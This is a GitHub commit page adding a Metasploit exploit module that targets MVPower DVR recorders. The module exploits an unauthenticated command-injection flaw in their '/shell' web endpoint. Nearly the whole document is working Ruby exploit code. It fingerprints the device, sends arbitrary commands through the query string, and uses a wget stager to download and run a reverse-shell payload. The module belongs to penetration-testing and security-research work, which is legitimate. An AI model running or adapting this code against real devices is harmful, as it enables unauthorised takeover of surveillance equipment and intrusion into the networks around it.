Skip to content

Commit e491f01

Browse files
committed
Add MVPower DVR Shell Unauthenticated Command Execution module
1 parent 48f6740 commit e491f01

File tree

1 file changed

+99
-0
lines changed

1 file changed

+99
-0
lines changed
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
13+
14+
HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] }
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'MVPower DVR Shell Unauthenticated Command Execution',
19+
'Description' => %q{
20+
This module exploits an unauthenticated remote command execution
21+
vulnerability in MVPower digital video recorders. The 'shell' file
22+
on the web interface executes arbitrary operating system commands in
23+
the query string.
24+
25+
This module was tested successfully on a MVPower model TV-7104HE with
26+
firmware version 1.8.4 115215B9 (Build 2014/11/17).
27+
28+
The TV-7108HE model is also reportedly affected, but untested.
29+
},
30+
'Author' =>
31+
[
32+
'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC
33+
'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC
34+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
35+
],
36+
'License' => MSF_LICENSE,
37+
'Platform' => 'linux',
38+
'References' =>
39+
[
40+
# Comment from Paul Davies contains probably the first published PoC
41+
[ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ],
42+
# Writeup with PoC by Andrew Tierney from Pen Test Partners
43+
[ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ]
44+
],
45+
'DisclosureDate' => 'Aug 23 2015',
46+
'Privileged' => true, # BusyBox
47+
'Arch' => ARCH_ARMLE,
48+
'DefaultOptions' =>
49+
{
50+
'Payload' => 'linux/armle/mettle_reverse_tcp'
51+
},
52+
'Targets' =>
53+
[
54+
['Automatic', {}]
55+
],
56+
'DefaultTarget' => 0))
57+
deregister_options('CMDSTAGER::FLAVOR')
58+
end
59+
60+
def check
61+
begin
62+
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
63+
res = send_request_cgi({
64+
'uri' => "/shell?echo+#{fingerprint}",
65+
'headers' => { 'Connection' => 'Keep-Alive' }
66+
})
67+
if res && res.body =~ /#{fingerprint}/
68+
return Exploit::CheckCode::Vulnerable
69+
end
70+
rescue ::Rex::ConnectionError
71+
return Exploit::CheckCode::Unknown
72+
end
73+
Exploit::CheckCode::Safe
74+
end
75+
76+
def execute_command(cmd, opts)
77+
begin
78+
res = send_request_cgi({
79+
'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
80+
'headers' => { 'Connection' => 'Keep-Alive' }
81+
})
82+
return res
83+
rescue ::Rex::ConnectionError
84+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
85+
end
86+
end
87+
88+
def exploit
89+
print_status("#{peer} - Connecting to target")
90+
91+
unless check == Exploit::CheckCode::Vulnerable
92+
fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable")
93+
end
94+
95+
print_good("#{peer} - Target is vulnerable!")
96+
97+
execute_cmdstager(flavor: :wget, linemax: 1500)
98+
end
99+
end

0 commit comments

Comments
 (0)